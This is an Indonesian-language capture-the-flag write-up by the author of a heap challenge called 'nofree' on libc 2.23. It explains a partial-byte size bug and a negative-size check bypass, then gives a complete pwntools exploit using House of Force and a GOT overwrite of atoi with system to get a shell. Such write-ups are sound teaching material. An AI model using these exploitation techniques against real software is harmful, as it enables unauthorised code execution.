this challenge was created by me

Diberikan file libc 2.23 dan binary dengan proteksi sebagai berikut.

nofree-checksec

Pada saat memulai program, akan diminta username. Binary tersebut bisa menyimpan suatu note yang terdiri dari nama dan content, note tersebut bisa dilihat, diedit, tetapi tidak bisa dihapus. Username juga bisa diedit, dan yang terakhir kita bisa mengirim feedback. Nama, content, username, dan feedback akan disimpan dalam heap.

Vulnerability

Vulnerability terletak pada fungsi edit, berikut baris yang vuln:

LOBYTE(nbytes) = *(_DWORD *)list[2 * v4];

hanya 1 byte nbytes pertama yang diassign pada baris diatas. Jadi jika kita bisa mewrite sisa 3 bytenya sebelum baris diatas, maka nbytes akan memiliki size yang besar karena nbytes memiliki 4 byte bukan 1 byte. Tetapi sebenarnya terdapat vulnerability lain yaitu pada fungsi create:

if ( nbytes > 255 )
{
    puts("Size Error");
    exit(1);
}

nbytes bertipe int lalu bisa diisi dengan negatif dan lolos pengecekan, dan ketika input nama pada fungsi input_str:

ssize_t __cdecl input_str(void *buf, size_t nbytes)
{
  ssize_t v3; // [esp+Ch] [ebp-Ch]

  v3 = read(0, buf, nbytes);
  if ( v3 == -1 )
  {
    puts("something wrong:/");
    exit(1);
  }
  if ( *((_BYTE *)buf + v3 - 1) == 10 )
    *((_BYTE *)buf + v3 - 1) = 0;
  return v3;
}

String akan dibaca oleh read, yang mana jika kita memasukkan size negatif seperti -1, maka dapat input dengan sangat besar sebanyak 0xFFFFFFFF. Namun sebenarnya saya tidak menyadari vuln ini wkwkwkwkwk karena saya kira apabila parameter count pada read adalah negatif akan terjadi error, namun ternyata tidak. Karena itu saya hanya membuat pengecekan size error apabila lebih dari 255 saja. Saya baru mengetahuinya setelah membaca salah satu write up yang diterima, ada yang memanfaatkan vuln ini untuk solve soal walaupun telat submit beberapa detik saja. So, untuk siapa pun yang menemukan vuln ini, nice!

Exploit

OK, jika menggunakan vuln nbytes yang diisi dengan satu byte saja, bagaimana cara untuk membuat nilainya menjadi besar? Kita bisa set 3 byte sisanya dengan memanfaatkan “nilai sampah” atau nilai yang sudah tidak digunakan lagi dari stack frame fungsi sebelumnya yaitu fungsi edit profile. Jika kita mengubah username, pada offset ke 29 akan mulai mengoverwrite tempat nbytes berada apabila fungsi edit dipanggil. Dengan write offset ke 30, itu sudah cukup untuk mengubah size input name agar bisa mengoverwrite top chunk dengan nilai yang sangat besar seperti 0xFFFFFFFF. Ini dilakukan untuk bisa melakukan house of force pada heap (https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_force.c).

contoh nilai nbytes sebelum diassign satu byte pertama:

nofree-3

sesudah:

nofree-4

ketika menggunakan fungsi input_str, maka fungsi tersebut akan menggunakan keseluruhan byte yaitu bisa mengambil string sebanyak 0x6120 karakter, boom.

Namun sebelum kita melakukan house of force, kita perlu mengetahui address dari target dan top chunk itu sendiri. Untuk leak heap address kita harus mengubah size input dengan cara yang tadi terlebih dahulu, yaitu write offset ke 30 pada edit username. Setelah itu edit note dengan name sebanyak 256 tanpa newline, ketika note diview, address heap akan terleak.

    p.sendlineafter('username: ', 'camelliose')
    add(0x20, 'a', 'a')
    edit_profile('a'*30)
    edit(0, 'a'*255 + '@', 'a')
    view(0)
    p.recvuntil('@')
    heap_base = u32(p.recv(4)) - 0x18
    top_chunk = heap_base + 0x180

Setelah itu kita write top chunk size dengan 0xFFFFFFFF

    edit(0, 'a'*(0x150) + p64(0xFFFFFFFF), 'a')

Kita perlu melakukan kalkulasi size untuk menentukan target agar malloc mengembalikan nilai di address yang kita inginkan. Disini digunakanlah fungsi feedback, karena bisa merequest nilai malloc secara bebas. Saya menggunakan target pada bss yaitu pada list (0x804b0a0).

    target = 0x804b0a0
    evil = target-top_chunk-16
    feedback(evil, '')

Lalu saya mengubah list pertama menjadi nilai sebelum got atoi dikurang 4. Dan ketika di view libc atoi address akan terleak.

    add(0x20,  'x'*4  + p32(elf.got['atoi']-4), 'a')
    view(0)
    p.recvuntil('Name: ')
    libc.address = u32(p.recv(4)) - libc.sym['atoi']

Write got atoi dengan system, setelah itu pada pemilihan menu tinggal kirim /bin/sh lalu akan mendapatkan shell

    edit(0, p32(libc.sym['system']), 'a')
    p.sendlineafter('#> ', '/bin/sh')

Full exploit code

from pwn import *
import sys

BINARY = './chall'

con = 'nc chall.codepwnda.id 17012'

if(con):
    con = con.split(' ')
    HOST = con[1]
    PORT = con[2]

elf = ELF(BINARY, checksec=False)
argv = sys.argv
# context.terminal = 'gnome-terminal -e'.split()
context.terminal = 'tmux splitw -h -p 70'.split()

def add(size, name, content):
    p.sendlineafter('#> ', '1')
    p.sendlineafter('Name size: ', str(size))
    p.sendlineafter('Name: ', name)
    p.sendlineafter('Content: ', content)

def view(index):
    p.sendlineafter('#> ', '2')
    p.sendlineafter('Index : ', str(index))

def edit(index, name, content):
    p.sendlineafter('#> ', '3')
    p.sendlineafter('Index: ', str(index))
    p.sendafter('Name: ', name)
    p.sendlineafter('Content: ', content)

def edit_profile(name):
    p.sendlineafter('#> ', '5')
    p.sendlineafter('username: ', name)

def feedback(size, msg):
    p.sendlineafter('#> ', '6')
    p.sendlineafter('size: ', str(size))
    p.sendlineafter('Feedback: ', msg)

libc = ELF('./libc-2.23.so', checksec=False)

def exploit():

    target = 0x804b0a0
    
    p.sendlineafter('username: ', 'camelliose')
    add(0x20, 'a', 'a')
    edit_profile('a'*30)
    edit(0, 'a'*255 + '@', 'a')
    view(0)
    p.recvuntil('@')
    heap_base = u32(p.recv(4)) - 0x18
    top_chunk = heap_base + 0x180
    
    log.info('target @ {}'.format(hex(target)))
    log.info('heap_base @ {}'.format(hex(heap_base)))
    log.info('top_chunk @ {}'.format(hex(top_chunk)))

    edit(0, 'a'*(0x150) + p64(0xFFFFFFFF), 'a')


    evil = target-top_chunk-16

    log.info('evil size : {}'.format(evil))
    feedback(evil, '')

    add(0x20,  'x'*4  + p32(elf.got['atoi']-4), 'a')
    view(0)
    p.recvuntil('Name: ')
    libc.address = u32(p.recv(4)) - libc.sym['atoi']

    log.info('libc base @ {}'.format(hex(libc.address)))

    edit(0, p32(libc.sym['system']), 'a')
    p.sendlineafter('#> ', '/bin/sh')

    p.interactive()

if __name__ == '__main__':

    p = process(BINARY)

    if len(argv) > 1:
        if argv[1] != 'd':
            p = remote(HOST, PORT)
        else:
            cmd = '''
            b*edit
            '''
            gdb.attach(p, cmd)
    exploit()

nofree-pwned